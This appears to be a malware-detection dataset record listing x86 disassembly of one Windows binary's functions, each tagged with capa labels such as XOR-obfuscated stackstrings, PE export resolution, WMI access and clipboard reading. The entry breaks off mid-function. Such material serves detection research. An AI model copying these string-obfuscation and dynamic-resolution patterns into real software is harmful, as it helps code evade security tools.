joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4292c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x48
mov eax, dword [0x4528c8]
mov dword [esp], 0xb1cd8fab
mov dword [esp + 4], 0xb522b320
mov dword [esp + 8], 0xb9d5b7f0
mov dword [esp + 0xc], 0xbdd9bb2c
mov dword [esp + 0x10], 0xa1c2bf9b
mov dword [esp + 0x14], 0xa5caa3d4
mov dword [esp + 0x18], 0xa9c8a733
mov dword [esp + 0x1c], 0xadcdabcc
mov dword [esp + 0x20], 0xd1ccaf3e
mov dword [esp + 0x24], 0xd540d3bb
mov dword [esp + 0x28], 0xd9aad7b0
mov dword [esp + 0x2c], 0xdd48dba8
mov dword [esp + 0x30], 0xc1b8df4d
mov dword [esp + 0x34], 0xc5aec3ab
mov dword [esp + 0x38], 0xc953c7a3
mov word [esp + 0x3c], 0xcbc8
mov dword [esp + 0x3e], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0x9d
xor dl, byte [esp + ecx]
add dl, 0xef
mov byte [esp + ecx], dl
inc ecx
cmp ecx, 0x42
jne 0x429360
lea ebp, [esp + 0x44]
mov ebx, esp
push ebp
push 0
push 0
push 0x1e
push ebx
push 0
call eax
mov edi, dword [esp + 0x44]
test edi, edi
jns 0x429395
mov eax, 0xffffffff
jmp 0x429398
lea eax, [edi + edi]
push eax
call fcn.0040cbc0
add esp, 4
mov esi, eax
mov eax, dword [0x4528c8]
mov dword [esp], 0xe1a5e7bb
mov dword [esp + 4], 0xdd72e370
mov dword [esp + 8], 0xd97ddf60
mov dword [esp + 0xc], 0xd579db54
mov dword [esp + 0x10], 0xd172d78b
mov dword [esp + 0x14], 0xcd4ad37c
mov dword [esp + 0x18], 0xc958cf43
mov dword [esp + 0x1c], 0xc555cb54
mov dword [esp + 0x20], 0xc164c756
mov dword [esp + 0x24], 0x3d50c35b
mov dword [esp + 0x28], 0x399a3fa0
mov dword [esp + 0x2c], 0x35a83b88
mov dword [esp + 0x30], 0x31a837a5
mov dword [esp + 0x34], 0x2da633ab
mov dword [esp + 0x38], 0x29a32fb3
mov dword [esp + 0x3c], 0x2b28
mov byte [esp + 0x40], 0
xor ecx, ecx
nop
nop
mov edx, ecx
add dl, 0xd9
xor dl, byte [esp + ecx]
add dl, 0xc3
mov byte [esp + ecx], dl
inc ecx
cmp ecx, 0x41
jne 0x429430
push ebp
push edi
push esi
push 0x1e
push ebx
push 0
call eax
mov dword [esp], 0x832a81d4
mov dword [esp + 4], 0x87288531
mov dword [esp + 8], 0x8b2f892c
mov dword [esp + 0xc], 0x8f2c8d3e
mov dword [esp + 0x10], 0x93209139
mov dword [esp + 0x14], 0x97969530
mov dword [esp + 0x18], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xa0
xor cl, byte [esp + eax]
add cl, 0xe0
mov byte [esp + eax], cl
inc eax
cmp eax, 0x1c
jne 0x429490
push 0
push 0
push ebx
push esi
push dword [esp + 0x6c]
call fcn.00424020
add esp, 0x14
jmp dword [0x44e508]
Function at 0x4294e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, 0x21e8
call fcn.0040cb20
mov dword [esp + 0xde8], 0xf94cfba8
mov dword [esp + 0xdec], 0xfd47ff43
mov dword [esp + 0xdf0], 0xf147f343
mov dword [esp + 0xdf4], 0xf540f744
mov dword [esp + 0xdf8], 0xe946eb5b
mov dword [esp + 0xdfc], 0xed5bef43
mov dword [esp + 0xe00], 0xe154e357
mov word [esp + 0xe04], 0xe7e0
mov dword [esp + 0xe06], 0
mov eax, 0xbedba1ff
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax + 0x41246be9]
mov edx, ecx
xor edx, eax
and edx, esi
xor edx, eax
mov esi, edx
and esi, 1
or edx, 1
add edx, esi
add dl, 4
mov byte [esp + eax + 0x41246be9], dl
inc eax
dec ecx
cmp eax, 0xbedba221
jne 0x429560
lea eax, [esp + 0x38]
lea ebp, [esp + 0xde8]
push 0
push 0
push 0x20019
push eax
push ebp
call fcn.00446410
add esp, 0x14
shr eax, 0x1f
jmp dword [eax*4 + 0x44e510]

Function at 0x42b170
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x848
mov dword [esp + 4], 0
mov dword [esp], 0
mov ebx, 0x20219
mov eax, 1
xor ebp, ebp
jmp dword [eax*4 + 0x44ebf4]
Function at 0x42bea0
Capabilities:
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x460
mov dword [esp + 0x4c], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x5c], 0xc946cb41
mov dword [esp + 0x60], 0xc559c753
mov dword [esp + 0x64], 0xc110c357
mov dword [esp + 0x68], 0xbd36bf5b
mov dword [esp + 0x6c], 0xb9babb27
mov word [esp + 0x70], 0
mov byte [esp + 0x72], 0
mov eax, 0xe69b3
mov ecx, 0x1011964c
nop
nop
nop
movzx esi, byte [esp + eax - 0xe6957]
mov edx, ecx
and edx, 0x10101058
mov edi, eax
and edi, 0x869a7
or edi, edx
lea edx, [eax - 0xe6900]
and edx, esi
xor edi, esi
xor edi, 0x9ff61058
not edx
and edx, edi
mov esi, edx
and esi, 1
and edx, 0xfe
xor edx, 0x81
add edx, esi
mov byte [esp + eax - 0xe6957], dl
inc eax
dec ecx
cmp eax, 0xe69ca
jne 0x42bf10
lea eax, [esp + 0x5c]
lea ecx, [esp + 0x40]
push eax
call fcn.0043fde0
shr eax, 0x1f
jmp dword [eax*4 + 0x44ec7c]
Function at 0x435dd0
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x300
mov dword [esp + 0x2e4], 0x44f904
mov dword [esp + 0x94], 0
lea eax, [esp + 0x94]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x449c50
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], 0x449c60
mov eax, dword [sym.imp.ole32.dll_CoCreateInstance]
call eax
sub esp, 0x14
not eax
shr eax, 0x1f
mov dword [esp + 0x2e0], eax
mov eax, dword [esp + 0x2e4]
mov ecx, dword [esp + 0x2e0]
mov eax, dword [eax + ecx*4]
mov dword [esp + 0x2dc], 0x44f90c
mov dword [esp + 0x2d4], 0x44f914
mov dword [esp + 0x2cc], 0x44f91c
mov dword [esp + 0x2c4], 0x44f924
mov dword [esp + 0x2bc], 0x44f92c
mov dword [esp + 0x2b4], 0x44f190
mov dword [esp + 0x2b0], 0xa1
mov dword [esp + 0x2ac], 0x44f190
mov dword [esp + 0x2a8], 0xa2
mov dword [esp + 0x2a4], 0x44f934
mov dword [esp + 0x29c], 0x44f93c
mov dword [esp + 0x294], 0x44f944
mov dword [esp + 0x28c], 0x44f94c
mov dword [esp + 0x284], 0x44f190
mov dword [esp + 0x280], 0xa7
mov dword [esp + 0x27c], 0x44f954
mov dword [esp + 0x274], 0x44f95c
mov dword [esp + 0x26c], 0x44f964
mov dword [esp + 0x264], 0x44f190
mov dword [esp + 0x260], 0xac
mov dword [esp + 0x25c], 0x44f190
mov dword [esp + 0x258], 0xac
mov dword [esp + 0x254], 0x44f96c
mov dword [esp + 0x24c], 0x44f974
mov dword [esp + 0x244], 0x44f190
mov dword [esp + 0x240], 0xaf
mov dword [esp + 0x23c], 0x44f97c
mov dword [esp + 0x234], 0x44f984
mov dword [esp + 0x22c], 0x44f98c
mov dword [esp + 0x224], 0x44f994
mov dword [esp + 0x21c], 0x44f99c
mov dword [esp + 0x214], 0x44f190
mov dword [esp + 0x210], 0xb5
mov dword [esp + 0x20c], 0x44f9a4
mov dword [esp + 0x204], 0x44f190
mov dword [esp + 0x200], 0xb7
mov dword [esp + 0x1fc], 0x44f190
mov dword [esp + 0x1f8], 0xb8
mov dword [esp + 0x1f4], 0x44f190
mov dword [esp + 0x1f0], 0xb9
mov dword [esp + 0x1ec], 0x44f9ac
mov dword [esp + 0x1e4], 0x44f9b4
mov dword [esp + 0x1dc], 0x44f9bc
mov dword [esp + 0x1d4], 0x44f190
mov dword [esp + 0x1d0], 0xbd
mov dword [esp + 0x1cc], 0x44f190
mov dword [esp + 0x1c8], 0xbe
mov dword [esp + 0x1c4], 0x44f190
mov dword [esp + 0x1c0], 0xbf
mov dword [esp + 0x1bc], 0x44f190
mov dword [esp + 0x1b8], 0xc0
mov dword [esp + 0x1b4], 0x44f9c4
mov dword [esp + 0x1ac], 0x44f9cc
mov dword [esp + 0x1a4], 0x44f190
mov dword [esp + 0x1a0], 0x9c
mov dword [esp + 0x19c], 0x44f190
mov dword [esp + 0x198], 0x9f
mov dword [esp + 0x194], 0x44f190
mov dword [esp + 0x190], 0xa5
mov dword [esp + 0x18c], 0x44f190
mov dword [esp + 0x188], 0xa8
mov dword [esp + 0x184], 0x44f190
mov dword [esp + 0x180], 0xb0
mov dword [esp + 0x17c], 0x44f190
mov dword [esp + 0x178], 0xb3
mov dword [esp + 0x174], 0x44f190
mov dword [esp + 0x170], 0xbb
mov dword [esp + 0x16c], 0x44f190
mov dword [esp + 0x168], 0xc1
xor edi, edi
jmp eax
Function at 0x437a20
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xc
call fcn.0040e440
sub esp, 0x14
mov esi, esp
push eax
mov edi, esp
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
jmp 0x437a4a
cmp eax, 0
setne al
jmp 0x437a52
xor ebx, ebx
test al, 1
jne 0x437a5d
jmp 0x437b71
xor eax, eax
sub esp, 8
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
sub esp, 4
mov dword [esp], 1
call dword [sym.imp.USER32.dll_GetClipboardData]
xor ebx, ebx
cmp eax, 0
je 0x437b6b
sub esp, 4
mov dword [ebp - 0x18], eax
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
sub esp, 4
mov dword [ebp - 0x14], eax
mov dword [esp], eax
call fcn.0040ce20
add esp, 4
xor ebx, ebx
cmp eax, 0
je 0x437b5c
mov cl, byte [edi]
mov byte [ebp - 0x10], cl
mov byte [esi], 0x23
mov byte [esi + 1], 0x1d
mov byte [esi + 2], 0x1b
mov byte [esi + 3], 0x13
mov byte [esi + 4], 6
mov byte [esi + 5], 0x1a
mov byte [esi + 6], 7
mov byte [esi + 7], 0x15
mov byte [esi + 8], 0x1c
mov byte [esi + 9], 0xc7
mov byte [esi + 0xa], 0xe
mov byte [esi + 0xb], 0x73
mov byte [esi + 0xc], 8
mov byte [esi + 0xd], 0xfd
mov ecx, 0xe
mov byte [esi + ecx], 0
add ecx, 1
cmp ecx, 0x11
jne 0x437afe
xor ecx, ecx
cmp ecx, 0x11
jae 0x437b3c
mov bl, byte [esi + ecx]
mov edi, ecx
add edi, 0x28
mov edx, 0x57
sub edx, ecx
and edx, 0x93
and edi, 0x6c
or edx, edi
xor dl, bl
xor dl, 0x6c
mov bl, 0xb7
sub bl, dl
mov byte [esi + ecx], bl
add ecx, 1
jmp 0x437b0c
sub esp, 0xc
mov ecx, dword [ebp + 8]
mov dword [esp], esi
mov edx, dword [ebp - 0x14]
mov dword [esp + 4], edx
mov dword [esp + 8], eax
call fcn.0040d730
mov bl, al
and bl, 1
jmp 0x437b5c
sub esp, 4
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
and bl, 1
movzx eax, bl
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43c200
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 8
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
mov edx, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ecx + edx + 2], 0
lea edx, [edx + 2]
jne 0x43c220
mov dword [esp], 0x424644f9
mov byte [esp + 4], 0
mov esi, 0x1c2f1091
nop
nop
nop
nop
movzx ebx, byte [esp + esi - 0x1c2f1091]
xor ebx, esi
mov edi, ebx
and edi, 1
or ebx, 1
add ebx, edi
add bl, 0x2a
mov byte [esp + esi - 0x1c2f1091], bl
inc esi
cmp esi, 0x1c2f1096
jne 0x43c240
test edx, edx
je 0x43c2ce
mov esi, dword [esp]
sar edx, 1
lea edi, [edx - 1]
mov ebx, edx
and ebx, 3
je 0x43c291
mov ebp, eax
nop
nop
nop
nop
dec edx
movzx eax, word [ecx]
add ecx, 2
xor eax, ebp
imul eax, esi
mov ebp, eax
dec ebx
jne 0x43c280
cmp edi, 3
jb 0x43c2ce
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, word [ecx + edi*2]
xor ebx, eax
imul ebx, esi
movzx eax, word [ecx + edi*2 + 2]
xor eax, ebx
imul eax, esi
movzx ebx, word [ecx + edi*2 + 4]
xor ebx, eax
imul ebx, esi
movzx eax, word [ecx + edi*2 + 6]
xor eax, ebx
imul eax, esi
add edi, 4
cmp edx, edi
jne 0x43c2a0
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43d120
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x14
mov eax, esp
push 0
push 0
push 0x20219
push eax
push dword [esp + 0x38]
call fcn.00446410
add esp, 0x14
test eax, eax
js 0x43d296
lea ebx, [esp + 0xc]
lea eax, [esp + 0x10]
push ebx
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push dword [esp + 0x20]
call fcn.004468b0
add esp, 0x24
xor edi, edi
mov esi, 0
test eax, eax
js 0x43d1ba
mov ebp, dword [esp + 0x2c]
mov eax, dword [esp + 0xc]
mov ecx, eax
inc ecx
jns 0x43d188
mov eax, 0xffffffff
jmp 0x43d18f
lea eax, [eax*2 + 2]
push eax
call fcn.0040cbc0
add esp, 4
mov esi, eax
push ebx
push eax
push 0
push ebp
push dword [esp + 0x10]
call fcn.00446f90
add esp, 0x14
test eax, eax
jns 0x43d1ba
push esi
call fcn.0040cbd0
add esp, 4
xor esi, esi
mov eax, dword [esp]
mov dword [esp + 4], 0x94959a9b
mov word [esp + 8], 0
mov byte [esp + 0xa], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + edi + 4]
lea edx, [edi + 0x213a0566]
mov ebx, ecx
xor ebx, 0x57
xor ecx, 0x8c4e6157
or ecx, ebx
xor ecx, edx
lea edx, [ecx + ecx]
mov ebp, ecx
xor ebp, 0x56
mov ebx, edx
and ebx, 2
and ecx, 1
or edx, 0xfd
sub edx, ebp
and edx, 0xfe
or edx, ecx
not edx
add edx, ebx
mov byte [esp + edi + 4], dl
mov ecx, edi
and ecx, 1
xor edi, 1
lea edi, [edi + ecx*2]
cmp edi, 7
jb 0x43d1e0
mov ecx, dword [0x4528cc]
test ecx, ecx
je 0x43d27a
mov edx, dword [esp + 4]
xor edi, edi
mov ebx, dword [0x4528d0]
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0x7e776f1
je 0x43d260
inc edi
cmp ecx, edi
jne 0x43d250
jmp 0x43d27a
mov ecx, dword [ebx + edi*8 + 4]
cmp ecx, edx
je 0x43d27a
push eax
push 1
push dword [0x4528d4]
push ecx
call fcn.004428e0
add esp, 0x10
test esi, esi
jne 0x43d298
lea eax, [esp + 4]
push eax
call fcn.00445990
add esp, 4
test al, al
je 0x43d296
cmp dword [esp + 4], 1
je 0x43d298
xor esi, esi
mov eax, esi
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43fce0
Capabilities:
Encode data using xor

Disassembly:
push esi
sub esp, 8
mov eax, dword [esp + 0x10]
mov dword [esp], 0x90a0b3c
mov word [esp + 4], 0
mov byte [esp + 6], 0
mov ecx, 0x83
movzx edx, byte [esp + ecx - 0x83]
mov esi, ecx
xor esi, edx
and edx, 0x70
xor esi, 0x70
lea edx, [esi + edx*2]
inc dl
mov byte [esp + ecx - 0x83], dl
inc ecx
cmp ecx, 0x8a
jne 0x43fd00
mov ecx, dword [esp]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx + 0x18]
mov edx, dword [0x45a8e8]
mov esi, dword [0x4507a8]
nop
nop
nop
nop
jmp esi

Function at 0x43fd50
Capabilities:
Encode data using xor

Disassembly:
push edi
push esi
sub esp, 8
mov eax, dword [esp + 0x14]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x4507b0]
Function at 0x43fde0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x14
mov ebp, ecx
mov ebx, dword [esp + 0x28]
mov dword [esp + 8], 0
mov dword [esp], 0xe8ebeae5
mov byte [esp + 4], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax]
mov esi, eax
and esi, 1
xor esi, 0xfdd18721
mov edx, eax
and edx, 6
sub edx, esi
lea esi, [ecx + ecx]
not esi
add esi, ecx
mov edi, 0x73fca807
sub edi, edx
or edi, esi
lea esi, [edx + edi]
add esi, 0x8c0357f9
mov edi, 7
sub edi, edx
and edi, ecx
or edi, esi
mov ecx, edi
and ecx, 0x4c
xor edi, 0xcc
lea ecx, [edi + ecx*2]
inc cl
mov byte [esp + eax], cl
inc eax
cmp eax, 5
jne 0x43fe10
mov edi, dword [esp]
mov eax, dword [0x4528cc]
test eax, eax
je 0x43feb6
xor ecx, ecx
mov edx, dword [0x4528d0]
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edx + ecx*8], 0xc85f7986
je 0x43fe90
inc ecx
cmp eax, ecx
jne 0x43fe80
jmp 0x43feb6
mov eax, dword [edx + ecx*8 + 4]
cmp eax, edi
je 0x43feb6
lea ecx, [esp + 8]
push ecx
push 0
push 0
push 5
push 4
push dword [0x4528d4]
push eax
call fcn.004428e0
add esp, 0x1c
mov edi, eax
cmp edi, 0xc0000004
jne 0x440000
mov dword [esp + 0x10], ebp
push dword [esp + 8]
call fcn.0043fce0
add esp, 4
mov ecx, dword [esp + 8]
mov dword [esp + 0xc], ecx
mov dword [esp], 0xe8ebeae5
mov byte [esp + 4], 0
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + edx]
mov esi, edx
and esi, 1
xor esi, 0xfdd18721
mov ebp, edx
and ebp, 6
sub ebp, esi
lea esi, [edi + edi]
not esi
add esi, edi
mov ecx, 0x73fca807
sub ecx, ebp
or ecx, esi
add ecx, ebp
add ecx, 0x8c0357f9
mov esi, 7
sub esi, ebp
and esi, edi
or esi, ecx
mov ecx, esi
and ecx, 0x4c
xor esi, 0xcc
lea ecx, [esi + ecx*2]
inc cl
mov byte [esp + edx], cl
inc edx
cmp edx, 5
jne 0x43fef0
mov edi, dword [esp]
mov edx, dword [0x4528cc]
test edx, edx
je 0x43ff98
xor ebp, ebp
mov esi, dword [0x4528d0]
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [esi + ebp*8], 0xc85f7986
je 0x43ff70
inc ebp
cmp edx, ebp
jne 0x43ff60
jmp 0x43ff98
mov edx, dword [esi + ebp*8 + 4]
cmp edx, edi
je 0x43ff98
push 0
push dword [esp + 0x10]
push eax
push 5
push 4
push dword [0x4528d4]
push edx
mov esi, eax
call fcn.004428e0
add esp, 0x1c
mov edi, eax
mov eax, esi
test edi, edi
js 0x43fff7
mov edx, dword [eax]
mov ecx, eax
mov edi, dword [ecx + edx + 0x3c]
add ecx, edx
xor ebp, ebp
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, word [edi + ebp]
movzx esi, word [ebx + ebp]
test edx, edx
je 0x43ffc4
add ebp, 2
cmp dx, si
je 0x43ffb0
movzx esi, si
mov edi, esi
xor edi, edx
not esi
and esi, edx
add esi, esi
cmp esi, edi
je 0x43ffe2
mov edx, dword [ecx]
test edx, edx
jne 0x43ffa0
mov edi, 0xc0000225
jmp 0x43fff7
mov edx, dword [ecx + 0x44]
mov esi, dword [esp + 0x10]
mov dword [esi + 8], edx
mov ecx, dword [ecx + 0xdc]
mov dword [esi + 0xc], ecx
xor edi, edi
push eax
call fcn.0043fd50
add esp, 4
mov eax, edi
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret 4
Function at 0x440030
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x28
mov esi, dword [ecx + 8]
test esi, esi
je 0x440120
xor eax, eax
cmp dword [ecx], 0
jne 0x44017a
mov edx, dword [esp + 0x3c]
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], esi
mov eax, dword [ecx + 0xc]
mov dword [esp + 0x24], eax
mov dword [esp], 0xe8ebeae5
mov byte [esp + 4], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax]
mov ebx, eax
and ebx, 1
xor ebx, 0xfdd18721
mov edi, eax
and edi, 6
sub edi, ebx
lea ebx, [esi + esi]
not ebx
add ebx, esi
mov ebp, 0x73fca807
sub ebp, edi
or ebp, ebx
lea ebx, [edi + ebp]
add ebx, 0x8c0357f9
mov ebp, 7
sub ebp, edi
and ebp, esi
or ebp, ebx
mov esi, ebp
and esi, 0x4c
xor ebp, 0xcc
lea ebx, [esi*2]
add ebx, ebp
inc bl
mov byte [esp + eax], bl
inc eax
cmp eax, 5
jne 0x4400a0
mov eax, dword [esp]
mov esi, dword [0x4528cc]
test esi, esi
je 0x44017a
xor edi, edi
mov ebx, dword [0x4528d0]
nop
nop
cmp dword [ebx + edi*8], 0x3ba5404
je 0x440184
inc edi
cmp esi, edi
jne 0x440110
jmp 0x44017a
mov dword [esp + 8], 0x8fcec930
mov dword [esp + 0xc], 0
mov eax, 0xb2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0xaa]
mov edx, eax
and edx, ecx
lea esi, [eax - 0x49604a00]
or esi, ecx
xor esi, edx
add esi, 0x6ee16e85
mov ecx, esi
and ecx, 1
xor esi, 1
lea ecx, [esi + ecx*2]
mov byte [esp + eax - 0xaa], cl
inc eax
cmp eax, 0xba
jne 0x440140
mov eax, dword [esp + 8]
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret 4
mov esi, dword [ebx + edi*8 + 4]
cmp esi, eax
je 0x44017a
lea eax, [esp + 0x20]
lea edi, [esp + 8]
push eax
push edi
push edx
push ecx
push 4
push dword [0x4528d4]
push esi
call fcn.004428e0
add esp, 0x1c
jmp 0x44017a

Function at 0x4401c0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [ecx]
test eax, eax
je 0x44028b
push ebp
push ebx
push edi
push esi
sub esp, 8
mov dword [esp], 0xe8ebeae5
mov byte [esp + 4], 0
xor edx, edx
nop
movzx esi, byte [esp + edx]
mov ebx, edx
and ebx, 1
xor ebx, 0xfdd18721
mov edi, edx
and edi, 6
sub edi, ebx
lea ebx, [esi + esi]
not ebx
add ebx, esi
mov ebp, 0x73fca807
sub ebp, edi
or ebp, ebx
lea ebx, [edi + ebp]
add ebx, 0x8c0357f9
mov ebp, 7
sub ebp, edi
and ebp, esi
or ebp, ebx
mov esi, ebp
and esi, 0x4c
xor ebp, 0xcc
lea ebx, [esi*2]
add ebx, ebp
inc bl
mov byte [esp + edx], bl
inc edx
cmp edx, 5
jne 0x4401e0
mov edx, dword [0x4528cc]
test edx, edx
je 0x44027e
mov esi, dword [esp]
xor edi, edi
mov ebx, dword [0x4528d0]
nop
nop
cmp dword [ebx + edi*8], 0x7e776f1
je 0x440260
inc edi
cmp edx, edi
jne 0x440250
jmp 0x44027e
mov edx, dword [ebx + edi*8 + 4]
cmp edx, esi
je 0x44027e
push eax
push 1
push dword [0x4528d4]
push edx
mov esi, ecx
call fcn.004428e0
mov ecx, esi
add esp, 0x10
mov dword [ecx], 0
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x440500
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov esi, ecx
mov ebx, dword [esp + 0x28]
mov edi, dword [esp + 0x24]
mov eax, dword [ecx + 4]
test eax, eax
jne 0x440590
push 0xf8eb88df
push dword [0x4528c0]
call fcn.00445090
add esp, 8
test eax, eax
je 0x440555
mov ecx, dword [esi]
test ecx, ecx
je 0x44058d
mov dword [esp], 0
mov edx, esp
push edx
push ecx
call eax
test eax, eax
je 0x440569
cmp dword [esp], 0
je 0x440569
mov dword [esi + 4], 3
jmp 0x44058d
mov ecx, ebx
mov dword [esi + 4], 1
mov eax, dword [esi]
mov dword [esp + 8], eax
jmp 0x440647
lea eax, [esp + 0xc]
push eax
call fcn.00445990
add esp, 4
test al, al
je 0x44058d
mov eax, dword [esp + 0xc]
mov ecx, 2
cmp eax, 3
je 0x44058a
mov ecx, eax
mov dword [esi + 4], ecx
mov eax, dword [esi + 4]
mov ecx, dword [esi]
mov dword [esp + 8], ecx
mov ecx, ebx
cmp eax, 2
jne 0x440647
mov dword [esp], 0xe8ebeae5
mov byte [esp + 4], 0
xor eax, eax
nop
movzx edx, byte [esp + eax]
mov ebx, eax
and ebx, 1
xor ebx, 0xfdd18721
mov esi, eax
and esi, 6
sub esi, ebx
lea ebx, [edx + edx]
not ebx
add ebx, edx
mov ebp, 0x73fca807
sub ebp, esi
or ebp, ebx
lea ebx, [esi + ebp]
add ebx, 0x8c0357f9
mov ebp, 7
sub ebp, esi
and ebp, edx
or ebp, ebx
mov edx, ebp
and edx, 0x4c
xor ebp, 0xcc
lea edx, [edx*2]
add edx, ebp
inc dl
mov byte [esp + eax], dl
inc eax
cmp eax, 5
jne 0x4405b0
mov eax, dword [esp]
mov edx, dword [0x4528cc]
test edx, edx
je 0x440707
xor esi, esi
mov ebx, dword [0x4528d0]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + esi*8], 0x1cbb9425
je 0x4406e0
inc esi
cmp edx, esi
jne 0x440630
jmp 0x440707
mov dword [esp], 0xe8ebeae5
mov byte [esp + 4], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax]
mov ebx, eax
and ebx, 1
xor ebx, 0xfdd18721
mov esi, eax
and esi, 6
sub esi, ebx
lea ebx, [edx + edx]
not ebx
add ebx, edx
mov ebp, 0x73fca807
sub ebp, esi
or ebp, ebx
lea ebx, [esi + ebp]
add ebx, 0x8c0357f9
mov ebp, 7
sub ebp, esi
and ebp, edx
or ebp, ebx
mov edx, ebp
and edx, 0x4c
xor ebp, 0xcc
lea edx, [edx*2]
add edx, ebp
inc dl
mov byte [esp + eax], dl
inc eax
cmp eax, 5
jne 0x440660
mov eax, dword [esp]
mov edx, dword [0x4528cc]
test edx, edx
je 0x440707
xor esi, esi
mov ebx, dword [0x4528d0]
nop
nop
cmp dword [ebx + esi*8], 0x62429966
je 0x4406e0
inc esi
cmp edx, esi
jne 0x4406d0
jmp 0x440707
mov edx, dword [ebx + esi*8 + 4]
cmp edx, eax
je 0x440707
push dword [esp + 0x30]
push dword [esp + 0x30]
push ecx
push edi
push dword [esp + 0x18]
push 5
push dword [0x4528d4]
push edx
call fcn.004428e0
add esp, 0x20
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret 0x10
Function at 0x440a70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x20
mov esi, ecx
mov edi, dword [ebp + 0x1c]
test edi, edi
jne 0x440a89
lea edi, [esp + 0x10]
mov eax, dword [esi + 4]
test eax, eax
je 0x440a9a
cmp eax, 2
je 0x440b0c
jmp 0x440b39
push 0xf8eb88df
push dword [0x4528c0]
call fcn.00445090
add esp, 8
test eax, eax
je 0x440ad7
mov ecx, dword [esi]
test ecx, ecx
je 0x440b04
mov dword [esp], 0
mov edx, esp
push edx
push ecx
call eax
test eax, eax
je 0x440ae0
cmp dword [esp], 0
je 0x440ae0
mov dword [esi + 4], 3
jmp 0x440b04
mov dword [esi + 4], 1
jmp 0x440b39
lea eax, [esp + 0xc]
push eax
call fcn.00445990
add esp, 4
test al, al
je 0x440b04
mov eax, dword [esp + 0xc]
mov ecx, 2
cmp eax, 3
je 0x440b01
mov ecx, eax
mov dword [esi + 4], ecx
mov eax, dword [esi + 4]
cmp eax, 2
jne 0x440b39
mov ebx, dword [ebp + 0x18]
push 0x1e03da9a
push dword [0x45a8e0]
call fcn.00445090
add esp, 8
push edi
push ebx
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi]
call eax
jmp 0x440bf7
mov eax, dword [esi]
mov dword [esp + 8], eax
mov dword [esp], 0xe8ebeae5
mov byte [esp + 4], 0
xor eax, eax
nop
nop
nop
movzx edx, byte [esp + eax]
mov ebx, eax
